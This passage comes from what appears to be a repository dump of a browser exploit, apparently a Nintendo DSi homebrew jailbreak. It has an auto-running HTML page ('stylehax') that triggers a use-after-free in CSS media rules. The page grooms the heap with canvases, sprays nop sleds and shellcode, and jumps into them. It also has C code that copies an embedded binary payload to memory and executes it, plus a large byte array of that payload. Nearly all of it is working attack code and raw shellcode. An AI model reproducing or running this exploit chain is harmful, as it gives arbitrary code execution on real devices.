0c14\\ud589\\u72bc\\u4a0b\\u026d\\u13af\\u2080\\u32f1\\u2e4d\\u2749\\u6571\\uff60\\u54f7\\ua0fd\\u687f\\u0740\\u0fc0\\ufef8\\u74ca\\u1ce8\\ue319\\u082d\\u2145\\u2a49\\u480a\\ud94f\\u3c12\\u459a\\u337d\\ue69e\\u874d\\u20ad\\u4841\\ua430\\u5240\\u2950\\u1f60\\u7026\\u3a29\\uf985\\u063f\\ue248\\ufe0e\\u3101\\u8998\\u71fb\\u0630\\u6e84\\ua92c\\uf6cb\\uc590\\u02e5\\u192f\\u7777\\u1af4\\u95ab\\u8abb\\ubac6\\u94e3\\u532e\\u9907\\u7d49\\ua8d3\\u092e\\u5868\\ufcee\\u5168\\u57ba\\ufe6c\\u91b9\\u4008\\u1dc3\\u6b66\\ub40a\\ued58\\u61bc\\u8fc0\\uffe2\\u9c07\\uffe8\\u30d2\\u020f\\uc547\\u031f\\u503c\\ub42f\\u3f70\\u9f05\\u4f10\\u742f\\u525f\\u6f13\\u1469\\u347f\\u8f16\\u179a\\u4f9f\\uaf68\\ufa09\\ub0c3\\ua412\\u7215\\u116b\\u190f\\u2fee\\ua420\\ud84c\\u09d1\\u9bb3\\u602d\\u67dd\\u0490\\u07f9\\ue54c\\ub48b\\u2d07\\u72c0\\uebd3\\ud200\\u05ea\\udbec\\udfe2\\u21f0\\uf53f\\u95d0\\u11da\\u1c8e\\u586b\\u46a6\\ue2e1\\u010f\\uee3b\\ud9e5\\ud320\\u4233\\u2ed3\\ub920\\ue28a\\u26b5\\u7b81\\u741a\\uc858\\u4d34\\u3bfe\\uf018\\ucdd3\\u7942\\u5c48\\ua812\\u158a\\u8b11\\u054c\\u7333\\u4904\\ua42b\\ued35\\u4908\\uea1b\\u3d1d\\u1742\\u9df0\\u0a02\\u685a\\u0354\\udfa1\\udcc5\\uff0c\\u4c03\\u4944\\u0817\\u3849\\u1400\\ub4ab\\u11f3\\ued70\\u8161\\ud5c3\\udb88\\u3a9e\\u334e\\u0f22\\u2307\\uc103\\u09c0\\u6407\\uc139\\u0be0\\u0383\\u3281\\u68f0\\u5c00\\u831c\\u0f30\\u8183\\u831b\\u418d\\u03ed\\u5047\\uf493\\u7f00\\u6c44\\u2d53\\u5a41\\uda8d\\u9984\\ubbe1\\u4076\\ua320\\u8278\\ubfa1\\u2398\\u7c32\\u021a\\ud601\\u4863\\u0312\\u987e\\uec13\\u007c\\u1f30\\u318e\\u003e\\ue019\\u8613\\u273f\\u03f8\\uc0c9\\uf2bc\\u006c\\u7070\\ued43\\uc01d\\ue05a\\u61a8\\ued39\\u51bd\\u27e2\\ue83f\\u49b0\\u30e8\\u0bae\\u9831\\u7c26\\u9d9a\\ue18c\\ueb28\\u0a50\\ucf0e\\u5db2\\u1181\\u8cbc\\u9058\\u5936\\ud313\\u6dd2\\u0bd8\\u5212\\u7522\\u83dd\\u9ff5\\u70ac\\u81b3\\u2d10\\u2782\\u3159\\u9efa\\u3a46\\u9873\\ue5e3\\u3da8\\u02a8\\u32ea\\uf4eb\\u7f30\\uc646\\u9605\\uada1\\ued46\\u5d46\\ue166\\u31a1\\u2043\\u01a2\\uff80\\uca0d\\u7b53\\u0522\\ue5b0\\u11cc\\uc7ef\\u1abc\\u73ce\\u200d\\u1d3c\\u0167\\u9991\\u0fcc\\ud8a7\\u972e\\u0380\\u4c7b\\u3e3b\\u18da\\ua63c\\u23e4\\ud991\\u33ba\\u0c01\\u14fa\\u088e\\ud429\\u7510\\u1209\\u217f\\uf272\\u0422\\u4c7a\\u5203\\u25a1\\u8220\\ufe90\\u4f5c\\ueb33\\u60ed\\u42a1\\u30f9\\ue01f\\u4662\\u69e1\\u2950\\ue0ec\\u93c3\\u0102\\ub3a0\\ufe32\\u6d27\\ue351\\u8ff7\\u0ae4\\u96d6\\ub1e9\\u9266\\u06eb\\ubd40\\ue8cf\\ue392\\ubf4c\\u4110\\u1ee0\\u8d7e\\u8e70\\uf0ab\\u0fb5\\u392a\\ud91f\\uf20d\\u4305\\uf10c\\u6a03\\u07ad\\ud137\\u0015\\u3dff\\u092d\\uaf2e\\u1801\\u36a5\\u279d\\ue51f\\ucb67\\u975f\\u2ea7\\u5c9f\\u68e7\\u60df\\u33be\\u3410\\u2fb3\\ucc42\\u240f\\u3566\\u012d\\u4997\\ue514\\u4540\\uf519\\u1f2c\\ubcd9\\uce74\\uee58\\uf850\\ue633\\u6cdb\\uf92e\\u03d8\\u04bf\\u773c\\u9708\\ua434\\u1a76\\u2d40\\u09d7\\u8b19\\u37f5\\u57d0\\ucc23\\uec5c\\u0154\\u7f33\\u4293\\uf9fa\\u02bb\\ubc45\\uff08\\u1a79\\uf32a\\ufed1\\u4e05\\u5cf0\\u0022\\ue7f8\\uc8bf\\u5711\\u3d90\\u7af9\\u8303\\ucc1b\\ufea1\\u82ee\\ue59f\\udf1c\\ue12f\\u3715\\u78c1\\uc047\\u8f46\\uf27b\\u90ea\\u4280\\u4fd0\\u2e54\\u444e\\ubf53\\uffa8\\u17d8\\u0027\\uf306\\u2411\\ub947\\u8b9a\\u1033\\u0d20\\ub965\\ub198\\u1022\\u0120\\u2901\\u2210\\u0002\\u0400\\u11d4\\u0000\";\n\n      function exploit() {\n         var canvases = [];\n         var N = 0x480;\n         var obj_size = 0x50;\n\n         // create a bunch of canvases for heap magic\n         for (var i = 0; i <= N; i++) {\n            var a = document.createElement(\"canvas\");\n            a.width = obj_size / 4;\n            a.height = 1;\n            canvases[i] = a;\n            document.body.appendChild(a);\n         }\n\n         var styleSheet = document.getElementById('style1').sheet;\n         var mediaRule = styleSheet.cssRules[0];\n\n         // heap magic\n         var arr = new Array();\n         for (var i = 0; i <= N; i++) {\n            c = canvases[i].getContext(\"2d\");\n            c.fillStyle = \"rgb(0, 0, 0)\";\n            c.fillRect(0, 0, obj_size / 4, 1);\n            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];\n         }\n\n         try {\n            // fails with syntax error and throws exception, \n            // but still adds some corrupted object to mediaRule.cssRules\n            mediaRule.insertRule(\"@media screen { p { color: green; } };\", mediaRule.cssRules.length);\n         } catch (e) {\n\n         }\n\n         // empty mediaRule.cssRules\n         mediaRule.deleteRule(0);\n         mediaRule.deleteRule(0);\n\n         // try to reclaim memory of freed object with jump shellcode\n         // (more heap magic)\n         var arr = new Array();\n         for (var i = 0; i <= N; i++) {\n            canvases[i].width = canvases[i].width;\n            c = canvases[i].getContext(\"2d\");\n            // 0x2bc5120 -- address of nop sled\n            c.fillStyle = \"rgba(32, 81, 188, 0.0079)\";\n            c.fillRect(0, 0, 1, 1);\n            // FE FF 13 EA -- b #0x500000 -- bootstrap: jumps to nop sled\n            c.fillStyle = \"rgba(254, 255, 19, 0.918)\"\n            c.fillRect(1, 0, obj_size / 4 - 1, 1);\n            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];\n         }\n\n         // 0x2bc5120 is effectively a nop, and is also the address of our nop sled\n         var nops = \"\\u2051\\ubc02\";\n         while (nops.length < 0x10000) {\n            nops += nops;\n         }\n\n         // spray nopsleds and shellcode\n         var a = new Array();\n         for (var i = 0; i < 0x4; i++) {\n            a[i] = nops + shellcode;\n         }\n\n         // more heap magic...\n         for (var i = 0; i < 0x100; i++) {\n            a[4 + i] = \"\" + i;\n         }\n\n         // accessing this property causes jump to bootstrap\n         mediaRule.cssRules.length;\n         alert(\"exploit failed. reboot and try again\")\n      }\n   </script>\n</head>\n\n<body onload=\"exploit()\">\n   <div style=\"width: 250px\">\n      <p>stylehax by nathan</p>\n      <p>exploit in progress... if you've waited > 30 seconds, reboot and try again!</p>\n   </div>\n</body>\n\n</html>"
  },
  {
    "path": "payload.c",
    "content": "// adapted from shutterbug2000 and zoogie's memory pit\n\ntypedef unsigned char u8;\ntypedef unsigned short u16;\n\n#include \"payload.h\"\n\nint main() {\n    u8 *payload_dest = (u8 *)0x02200000;\n\n    for (int i = 0; i < sizeof(mini_twl_payload); i++) {\n        payload_dest[i] = mini_twl_payload[i];\n    }\n\n    *(u16 *)0x400006C = 0;  // MASTER_BRIGHT SUB & TOP\n    *(u16 *)0x400106C = 0;  //\"\"\n\n    ((void (*)())payload_dest)();\n}"
  },
  {
    "path": "payload.h",
    "content": "// from shutterbug2000 and zoogie's memory pit\n// this is minitwlpayload and can be found here\n// https://github.com/yellows8/dsi/tree/master/exploits/minitwlpayload\n\nconst static unsigned char mini_twl_payload[5520] = {\n    0x01, 0x03, 0xA0, 0xE3, 0x08, 0x02, 0x80, 0xE5, 0x38, 0x10, 0x9F, 0xE5,\n    0x10, 0x1F, 0x01, 0xEE, 0x00, 0x00, 0xA0, 0xE3, 0x15, 0x0F, 0x07, 0xEE,\n    0x16, 0x0F, 0x07, 0xEE, 0x9A, 0x0F, 0x07, 0xEE, 0x24, 0x10, 0x9F, 0xE5,\n    0x24, 0x20, 0x9F, 0xE5, 0x00, 0x30, 0xA0, 0xE3, 0x02, 0x00, 0x51, 0xE1,\n    0x02, 0x00, 0x00, 0x0A, 0x04, 0x30, 0x81, 0xE4, 0x02, 0x00, 0x51, 0xE1,\n    0xFC, 0xFF, 0xFF, 0x1A, 0x5B, 0x00, 0x00, 0xFA, 0xFE, 0xFF, 0xFF, 0xEA,\n    0x78, 0x20, 0x00, 0x00, 0x90, 0x15, 0x20, 0x02, 0x30, 0x16, 0x20, 0x02,\n    0xF0, 0xB5, 0x00, 0x24, 0x80, 0x27, 0x22, 0x00, 0x01, 0x26, 0x0D, 0x4D,\n    0x7F, 0x00, 0x2B, 0x88, 0x01, 0x39, 0x04, 0xD2, 0x00, 0x2C, 0x00, 0xD0,\n    0x2B, 0x80, 0x10, 0x00, 0xF0, 0xBD, 0x01, 0x2B, 0x04, 0xD1, 0x03, 0x68,\n    0x01, 0x3B, 0x03, 0x60, 0x1B, 0x78, 0x3B, 0x43, 0x1C, 0x00, 0x52, 0x00,\n    0x34, 0x40, 0x22, 0x43, 0x12, 0x04, 0x12, 0x0C, 0x5B, 0x08, 0x34, 0x00,\n    0xE8, 0xE7, 0xC0, 0x46, 0x90, 0x15, 0x20, 0x02, 0xF7, 0xB5, 0x00, 0x24,\n    0x0F, 0x00, 0x25, 0x00, 0x01, 0x38, 0x01, 0x90, 0x42, 0x4E, 0x03, 0x78,\n    0x33, 0x80, 0x0F, 0x23, 0x1D, 0x42, 0x00, 0xD1, 0x01, 0x24, 0xB3, 0x1C,\n    0x6A, 0x00, 0xD4, 0x52, 0x04, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0xCA, 0xFF,\n    0x33, 0x00, 0x6A, 0x33, 0xE8, 0x54, 0x01, 0x23, 0x83, 0x40, 0xE4, 0x18,\n    0x24, 0x04, 0x01, 0x35, 0x24, 0x0C, 0x34, 0x2D, 0xE9, 0xD1, 0x01, 0x21,\n    0x01, 0xA8, 0xFF, 0xF7, 0xBB, 0xFF, 0x05, 0x06, 0x2D, 0x0E, 0x00, 0x24,\n    0x01, 0x2D, 0x04, 0xD1, 0x2C, 0x00, 0x12, 0xE0, 0x01, 0x34, 0x24, 0x04,\n    0x24, 0x0C, 0x01, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0xAD, 0xFF, 0x00, 0x28,\n    0xF6, 0xD0, 0x10, 0x2C, 0x53, 0xD0, 0x11, 0x2C, 0x19, 0xD1, 0x10, 0x21,\n    0x01, 0xA8, 0xFF, 0xF7, 0xA3, 0xFF, 0x01, 0x25, 0x04, 0x00, 0x23, 0x00,\n    0x3A, 0x00, 0x01, 0x3A, 0x00, 0x2D, 0x43, 0xD0, 0x01, 0x99, 0x01, 0x39,\n    0x01, 0x91, 0x09, 0x78, 0x01, 0x3B, 0x1B, 0x04, 0x11, 0x70, 0x1B, 0x0C,\n    0xF3, 0xD1, 0x01, 0x3C, 0x24, 0x04, 0x24, 0x0C, 0xE4, 0x43, 0x3F, 0x19,\n    0xCD, 0xE7, 0x62, 0x00, 0xB3, 0x1C, 0xD3, 0x5A, 0x01, 0xA8, 0x00, 0x93,\n    0x33, 0x00, 0x6A, 0x33, 0x19, 0x5D, 0xFF, 0xF7, 0x83, 0xFF, 0x00, 0x9B,\n    0x1C, 0x18, 0x24, 0x04, 0x24, 0x0C, 0x01, 0x2C, 0x07, 0xD0, 0x02, 0x2C,\n    0x1C, 0xD0, 0x04, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0x77, 0xFF, 0x10, 0x30,\n    0x04, 0xE0, 0x02, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0x71, 0xFF, 0x30, 0x30,\n    0x00, 0x04, 0x00, 0x0C, 0x42, 0x00, 0xB3, 0x1C, 0xD3, 0x5A, 0x00, 0x93,\n    0x33, 0x00, 0x6A, 0x33, 0x19, 0x5C, 0x01, 0xA8, 0xFF, 0xF7, 0x64, 0xFF,\n    0x00, 0x9B, 0x18, 0x18, 0x03, 0x04, 0x1B, 0x0C, 0x00, 0x93, 0xBC, 0xE7,\n    0x04, 0x21, 0x01, 0xA8, 0xFF, 0xF7, 0x5A, 0xFF, 0x20, 0x30, 0xE7, 0xE7,\n    0x00, 0x99, 0x51, 0x5C, 0xBC, 0xE7, 0x38, 0x00, 0xFE, 0xBD, 0xC0, 0x46,\n    0x90, 0x15, 0x20, 0x02, 0xF7, 0xB5, 0xA0, 0x22, 0x58, 0x4B, 0x59, 0x4C,\n    0x59, 0x48, 0xD2, 0x04, 0x13, 0x60, 0x07, 0x27, 0x23, 0x60, 0x84, 0x46,\n    0x00, 0x23, 0x57, 0x4A, 0x57, 0x49, 0x08, 0x00, 0x08, 0x38, 0x0B, 0x60,\n    0x03, 0x60, 0x08, 0x1F, 0x03, 0x60, 0x90, 0x1E, 0x13, 0x80, 0x03, 0x80,\n    0x38, 0x00, 0x50, 0x43, 0x52, 0x4D, 0x53, 0x4E, 0x45, 0x19, 0x80, 0x19,\n    0x08, 0xC5, 0x85, 0x42, 0xFC, 0xD1, 0x04, 0x32, 0x0C, 0x31, 0x62, 0x45,\n    0xE9, 0xD1, 0x4F, 0x4A, 0x4F, 0x49, 0x13, 0x60, 0x4F, 0x4A, 0x13, 0x60,\n    0x4F, 0x4A, 0x13, 0x70, 0x4F, 0x4A, 0x13, 0x70, 0x4F, 0x4A, 0x11, 0x80,\n    0x03, 0x21, 0x4F, 0x4A, 0x11, 0x70, 0x4F, 0x4A, 0x4F, 0x49, 0x11, 0x80,\n    0x4F, 0x4A, 0x50, 0x49, 0x13, 0x60, 0x01, 0x22, 0x4F, 0x4B, 0x52, 0x42,\n    0x1A, 0x60, 0x4F, 0x4B, 0x0A, 0x88, 0x1A, 0x42, 0xFC, 0xD1, 0x4E, 0x4B,\n    0x4E, 0x4A, 0x69, 0x46, 0x1A, 0x60, 0xA0, 0x22, 0x4D, 0x4B, 0xD2, 0x04,\n    0x13, 0x60, 0x23, 0x60, 0x04, 0x23, 0x4C, 0x4D, 0x06, 0x31, 0x2B, 0x80,\n    0x4B, 0x4B, 0x5A, 0x88, 0x0A, 0x80, 0x4B, 0x4A, 0x10, 0x00, 0x17, 0x88,\n    0x0E, 0x88, 0xB7, 0x42, 0xFB, 0xD0, 0x1A, 0x88, 0x01, 0x32, 0x12, 0x04,\n    0x12, 0x0C, 0x1A, 0x80, 0x03, 0x22, 0x2A, 0x80, 0x5A, 0x88, 0x0A, 0x80,\n    0x05, 0x88, 0x0A, 0x88, 0x95, 0x42, 0xFB, 0xD0, 0x1A, 0x88, 0x0F, 0x21,\n    0x01, 0x32, 0x12, 0x04, 0x12, 0x0C, 0x1A, 0x80, 0x3F, 0x4A, 0x15, 0x00,\n    0x13, 0x88, 0x0B, 0x40, 0x01, 0x2B, 0xFB, 0xD1, 0xA0, 0x22, 0x3D, 0x4B,\n    0xD2, 0x04, 0x13, 0x60, 0x23, 0x60, 0x80, 0x23, 0x3B, 0x4F, 0x3C, 0x4E,\n    0x39, 0x00, 0x33, 0x70, 0x3B, 0x48, 0xFF, 0xF7, 0xF7, 0xFE, 0x3B, 0x4B,\n    0x39, 0x1A, 0xCA, 0x18, 0x40, 0x18, 0x57, 0x1A, 0x43, 0x1A, 0x00, 0x29,\n    0x2B, 0xD1, 0x82, 0x23, 0x33, 0x70, 0x8E, 0x23, 0x36, 0x4A, 0x9B, 0x04,\n    0x1A, 0x60, 0xC0, 0x22, 0x35, 0x4B, 0xD2, 0x04, 0x1A, 0x60, 0xF0, 0x23,\n    0xA0, 0x22, 0x5B, 0x00, 0xD2, 0x04, 0x13, 0x60, 0x84, 0x22, 0x23, 0x60,\n    0x29, 0x88, 0x31, 0x4B, 0x92, 0x01, 0x19, 0x40, 0x0A, 0x43, 0x2A, 0x80,\n    0x0F, 0x22, 0x29, 0x88, 0x11, 0x42, 0xFC, 0xD1, 0x2A, 0x88, 0x1A, 0x40,\n    0x80, 0x23, 0x9B, 0x01, 0x13, 0x43, 0xA0, 0x22, 0x2B, 0x80, 0x2A, 0x4B,\n    0xD2, 0x04, 0x13, 0x60, 0x23, 0x60, 0x29, 0x4A, 0x29, 0x4B, 0x1A, 0x60,\n    0x29, 0x4A, 0x13, 0x60, 0x98, 0x47, 0x1B, 0x88, 0x02, 0x39, 0x3B, 0x80,\n    0xCB, 0xE7, 0xC0, 0x46, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x05,\n    0x12, 0x01, 0x00, 0x04, 0x02, 0x01, 0x00, 0x04, 0xB8, 0x00, 0x00, 0x04,\n    0xF6, 0x39, 0x00, 0xE8, 0x12, 0x3A, 0x00, 0xE8, 0x40, 0x02, 0x00, 0x04,\n    0x0F, 0x82, 0xFF, 0xFF, 0x44, 0x02, 0x00, 0x04, 0x48, 0x02, 0x00, 0x04,\n    0x49, 0x02, 0x00, 0x04, 0x04, 0x03, 0x00, 0x04, 0x47, 0x02, 0x00, 0x04,\n    0x04, 0x02, 0x00, 0x04, 0x80, 0xE8, 0xFF, 0xFF, 0x10, 0x02, 0x00, 0x04,\n    0x84, 0x01, 0x00, 0x04, 0x14, 0x02, 0x00, 0x04, 0x02, 0x40, 0x00, 0x00,\n    0x88, 0x01, 0x00, 0x04, 0x0C, 0x00, 0x04, 0x00, 0xFF, 0x03, 0x00, 0x00,\n    0x28, 0xFC, 0xFF, 0x02, 0x24, 0xFC, 0xFF, 0x02, 0x26, 0xFC, 0xFF, 0x02,\n    0x80, 0x01, 0x00, 0x04, 0x1F, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x20, 0x02,\n    0x42, 0x02, 0x00, 0x04, 0x8C, 0x15, 0x20, 0x02, 0x00, 0x00, 0x84, 0x06,\n    0x04, 0xF0, 0x1F, 0xE5, 0x04, 0x00, 0x38, 0x02, 0xFF, 0xF0, 0xFF, 0xFF,\n    0xEF, 0x3F, 0x00, 0x00, 0x18, 0xF0, 0x9F, 0xE5, 0x04, 0xFE, 0xFF, 0x02,\n    0x24, 0xFE, 0xFF, 0x02, 0x80, 0x00, 0x07, 0x3E, 0xEA, 0x4F, 0x68, 0x7C,\n    0x12, 0x1F, 0x8C, 0x8F, 0xD6, 0x4B, 0x05, 0x14, 0xE8, 0x60, 0x0D, 0x9C,\n    0x03, 0xFD, 0x38, 0x08, 0x29, 0x10, 0x14, 0x18, 0x8A, 0x57, 0xB3, 0x12,\n    0x75, 0x88, 0x03, 0xA8, 0x13, 0xEA, 0x80, 0x07, 0x1F, 0x51, 0xC1, 0xF0,\n    0x29, 0xE1, 0x87, 0xD0, 0xCA, 0x90, 0xD2, 0x78, 0x4E, 0x5B, 0xA3, 0xDE,\n    0xFE, 0x05, 0x3B, 0x46, 0x26, 0xFA, 0x68, 0x03, 0xEF, 0x63, 0x85, 0xEB,\n    0xDF, 0x8F, 0xB3, 0x8F, 0x4E, 0x1E, 0x1C, 0x12, 0x81, 0xE0, 0x02, 0x7E,\n    0xD1, 0xDF, 0x14, 0x1B, 0x9C, 0x32, 0xD5, 0x3B, 0x10, 0x51, 0xE2, 0xA7,\n    0xFC, 0xF8, 0xC0, 0x02, 0x44, 0xF5, 0x03, 0xEA, 0x96, 0x46, 0x24, 0x83,\n    0xE0, 0xF4, 0x33, 0x21, 0xCD, 0xD0, 0x12, 0xB1, 0x4E, 0x41, 0x76, 0xA2,\n    0xE8, 0x78, 0x8E, 0x53, 0xE2, 0xFB, 0x7F, 0x1B, 0x19, 0x9B, 0xF0, 0xFF,\n    0xCA, 0xFE, 0x91, 0xA0, 0x49, 0xFD, 0x01, 0xF2, 0xCA, 0x1F, 0x4C, 0x1A,\n    0x86, 0x59, 0x92, 0x06, 0x89, 0x04, 0x06, 0xAA, 0xFC, 0x39, 0x58, 0xE0,\n    0x7C, 0x6C, 0xB8, 0x52, 0x33, 0x24, 0xB4, 0x75, 0xB2, 0x14, 0xB0, 0x8E,\n    0xC4, 0xD1, 0x48, 0xBC, 0xA4, 0xC0, 0x75, 0xB6, 0x14, 0xB4, 0x8E, 0xD0,\n    0xD1, 0x48, 0xC8, 0xA4, 0xCC, 0x75, 0xBA, 0x14, 0xB8, 0x8E, 0xDC, 0xD1,\n    0x48, 0xD4, 0xA4, 0xD8, 0x72, 0xED, 0xBE, 0x29, 0xBC, 0x30, 0x1E, 0x6B,\n    0x35, 0x92, 0x4E, 0x21, 0xEA, 0x47, 0x18, 0xEF, 0x2D, 0x9F, 0x19, 0xA9,\n    0x80, 0x10, 0x81, 0xE3, 0x40, 0x12, 0x3F, 0xCD, 0x78, 0x97, 0xB5, 0x8D,\n    0xDC, 0x31, 0xCA, 0xFA, 0x02, 0x20, 0x93, 0xC8, 0xC0, 0xBA, 0x59, 0xD6,\n    0xC2, 0xFC, 0xB0, 0x39, 0xA5, 0xAE, 0xF8, 0x7B, 0x58, 0xB4, 0x1C, 0xBF,\n    0x54, 0xA7, 0x29, 0x40, 0x8A, 0x41, 0x45, 0x43, 0x22, 0x44, 0x91, 0x48,\n    0x45, 0xA4, 0x46, 0x52, 0x48, 0x29, 0x49, 0x1C, 0xB5, 0x34, 0x4F, 0x33,\n    0x1D, 0x2C, 0x82, 0xE2, 0xB4, 0x10, 0xC2, 0xE1, 0x7F, 0x03, 0xE5, 0x47,\n    0x31, 0xC3, 0x6B, 0xFD, 0x24, 0xD7, 0xEC, 0x20, 0xCF, 0xFB, 0x91, 0xF2,\n    0x1C, 0x30, 0x3E, 0xD3, 0x19, 0x8B, 0xE5, 0xBE, 0x2E, 0x03, 0x43, 0x56,\n    0x88, 0x49, 0x38, 0x58, 0x0F, 0x82, 0x68, 0x19, 0x8E, 0xBF, 0x0D, 0xB5,\n    0xF8, 0x6C, 0xEF, 0xA0, 0x33, 0xF7, 0x4C, 0xB6, 0x50, 0x8F, 0x58, 0x08,\n    0x22, 0x83, 0xA7, 0xEB, 0x1E, 0xC1, 0xE7, 0x48, 0x10, 0x37, 0xA3, 0x19,\n    0x41, 0xE5, 0x7D, 0x20, 0xD3, 0xBD, 0x52, 0xA3, 0xC2, 0x82, 0x4A, 0xA0,\n    0xE7, 0xB6, 0xAF, 0xD2, 0xE1, 0xBF, 0x6F, 0xB6, 0x0A, 0x24, 0x20, 0x9F,\n    0x0F, 0x04, 0x30, 0xCB, 0x52, 0xF6, 0xFC, 0x3F, 0x8E, 0xB9, 0xB7, 0x1A,\n    0xFD, 0x34, 0x1D, 0xE3, 0xDB, 0x31, 0xAF, 0xE5, 0x0F, 0xE0, 0x57, 0xA0,\n    0x13, 0xE5, 0xF5, 0x9F, 0xFE, 0x8E, 0x43, 0xFC, 0x23, 0x75, 0x6E, 0xE8,\n    0x21, 0x22, 0xC1, 0x1E, 0x22, 0x03, 0x32, 0xAB, 0xCD, 0x73, 0x23, 0x66,\n    0xD4, 0xCC, 0x58, 0xC4, 0xF2, 0x37, 0x9A, 0xF1, 0xC6, 0x2F, 0x8A, 0xA1,\n    0xF0, 0x57, 0xD7, 0xC3, 0x74, 0xAC, 0xFE, 0x3E, 0x30, 0x53, 0xB6, 0x01,\n    0x1A, 0xF9, 0xF0, 0x99, 0x5B, 0x9F, 0xE1, 0xF0, 0x9C, 0x9F, 0x04, 0x03,\n    0xCD, 0x66, 0x67, 0x4B, 0xD6, 0x1E, 0x67, 0x20, 0x4D, 0xAB, 0x64, 0x03,\n    0xDE, 0xAE, 0x67, 0x7D, 0x29, 0x35, 0xED, 0x0C, 0x03, 0xB5, 0x00, 0x05,\n    0x0A, 0x38, 0xBB, 0x2D, 0x7B, 0x72, 0x39, 0xE4, 0xB1, 0x84, 0xD0, 0x87,\n    0x9E, 0x1E, 0xA5, 0x6F, 0x28, 0x40, 0xDF, 0xA8, 0x25, 0x8A, 0x1B, 0x91,\n    0x2D, 0xED, 0x91, 0x20, 0x9E, 0xB9, 0x5C, 0x18, 0x80, 0x26, 0x1E, 0x2E,\n    0x42, 0xAE, 0xF1, 0x1E, 0x88, 0x0E, 0xE7, 0x3C, 0x53, 0xF1, 0xED, 0xA7,\n    0xE7, 0x91, 0x89, 0x55, 0x92, 0xC2, 0xE7, 0xF1, 0x71, 0xBA, 0x75, 0xE8,\n    0xDC, 0xCF, 0x3A, 0x29, 0x31, 0xFA, 0x4D, 0xED, 0x4A, 0xED, 0x2D, 0x71,\n    0x9D, 0x79, 0x34, 0x54, 0x19, 0x67, 0x50, 0x43, 0xD6, 0xD1, 0xA4, 0x1C,\n    0xA4, 0xD4, 0x48, 0x25, 0x09, 0xE5, 0x20, 0xE4, 0x18, 0xD7, 0xAE, 0xB9,\n    0xEA, 0x03, 0x34, 0x84, 0x43, 0x7E, 0x55, 0x0F, 0xCE, 0xE8, 0xDC, 0xA3,\n    0xC7, 0x07, 0x0B, 0xD5, 0x14, 0x6F, 0x4E, 0x15, 0x4B, 0x36, 0xF8, 0xB9,\n    0x57, 0x2E, 0x19, 0xEB, 0x9B, 0x19, 0x1B, 0x18, 0x83, 0x9F, 0x43, 0x9C,\n    0x42, 0xE9, 0xD2, 0x1C, 0x72, 0x8D, 0xE8, 0x71, 0xFF, 0x38, 0x4B, 0x0F,\n    0xBD, 0xE5, 0x2A, 0x68, 0xC7, 0xF1, 0x99, 0x0F, 0x36, 0x6B, 0xF0, 0x10,\n    0x52, 0x14, 0x3B, 0x28, 0xA2, 0x2C, 0x91, 0x48, 0x38, 0xA4, 0x3C, 0x75,\n    0x01, 0x7D, 0xEE, 0x12, 0x07, 0xCC, 0x51, 0xFB, 0x5C, 0x70, 0x0E, 0x6A,\n    0x67, 0x72, 0xE3, 0x61, 0x5F, 0x73, 0xFF, 0x2F, 0x24, 0x9F, 0x01, 0x94,\n    0x27, 0x4A, 0x95, 0x37, 0x26, 0x74, 0x66, 0x81, 0x5C, 0xE2, 0xDC, 0xFF,\n    0xEF, 0xC6, 0x3D, 0xF8, 0xD1, 0xCF, 0x74, 0x00, 0x01, 0x30, 0x0E, 0xC9,\n    0x34, 0x0F, 0x93, 0xB4, 0xF0, 0xBF, 0xF9, 0x33, 0xFD, 0xBB, 0x23, 0x45,\n    0x12, 0x25, 0x32, 0xF3, 0x5B, 0x42, 0xAB, 0xE9, 0x14, 0x22, 0x93, 0x55,\n    0x31, 0x71, 0xFD, 0xB2, 0x06, 0x80, 0xE7, 0xA9, 0xA8, 0x57, 0xC3, 0x24,\n    0xC4, 0x74, 0x46, 0x68, 0xB3, 0x94, 0x9C, 0xCE, 0x90, 0xAD, 0x95, 0x70,\n    0x35, 0x21, 0xB3, 0xA1, 0x06, 0x6B, 0x46, 0xE7, 0xDA, 0xDE, 0x1C, 0x71,\n    0x7C, 0x2A, 0xA9, 0x30, 0x31, 0x3E, 0x35, 0x11, 0xC4, 0xA3, 0xF2, 0x24,\n    0x78, 0xDC, 0x19, 0x53, 0x40, 0x5B, 0xBD, 0x07, 0xD1, 0x37, 0x6A, 0x1E,\n    0xBD, 0x98, 0xD6, 0x4A, 0xE0, 0x73, 0x73, 0xCD, 0x06, 0x82, 0x89, 0x58,\n    0xE5, 0x3A, 0x30, 0x70, 0x22, 0xE7, 0x1C, 0x49, 0xF4, 0xE7, 0xFF, 0xC7,\n    0x12, 0x05, 0x28, 0x82, 0xB8, 0x4A, 0xB0, 0x45, 0xB4, 0x23, 0xA8, 0x02,\n    0xA4, 0x45, 0xB4, 0xC4, 0x52, 0xBC, 0x29, 0xC0, 0x1D, 0x06, 0x45, 0x21,\n    0x2D, 0xD0, 0xA2, 0xC8, 0x91, 0x48, 0xCC, 0xEA, 0x0A, 0x29, 0x08, 0x1D,\n    0xA3, 0x0E, 0xC3, 0x36, 0xA0, 0x0E, 0x29, 0x0C, 0x01, 0x1A, 0x10, 0x4A,\n    0x14, 0x47, 0x83, 0x82, 0xC9, 0x1A, 0x93, 0xF1, 0x12, 0x03, 0x5D, 0x56,\n    0x80, 0xFC, 0x78, 0xAC, 0xB8, 0x23, 0xDB, 0x53, 0xAE, 0xDF, 0xB0, 0x01,\n    0x3C, 0x5B, 0x50, 0xBD, 0x4B, 0xA8, 0xE3, 0xF2, 0x3C, 0x4E, 0x0E, 0x9E,\n    0x10, 0x9D, 0x11, 0x9F, 0x0D, 0xFF, 0x0A, 0x9A, 0xFB, 0xC5, 0x0C, 0x98,\n    0x3C, 0x3F, 0x53, 0x3B, 0x9B, 0x32, 0x17, 0x45, 0x28, 0x8E, 0x8B, 0x39,\n    0xFB, 0x1E, 0x9B, 0x6C, 0xBC, 0x9A, 0xF1, 0xBD, 0x8B, 0x63, 0x44, 0x78,\n    0x93, 0xD9, 0x02, 0xAA, 0x3B, 0x21, 0x95, 0x1C, 0x91, 0x1D, 0xCD, 0x4A,\n    0xD8, 0x1A, 0xB3, 0xE4, 0x2A, 0xFC, 0xDB, 0xF1, 0x58, 0xD8, 0x2B, 0x53,\n    0x6D, 0xFE, 0x9B, 0x05, 0x03, 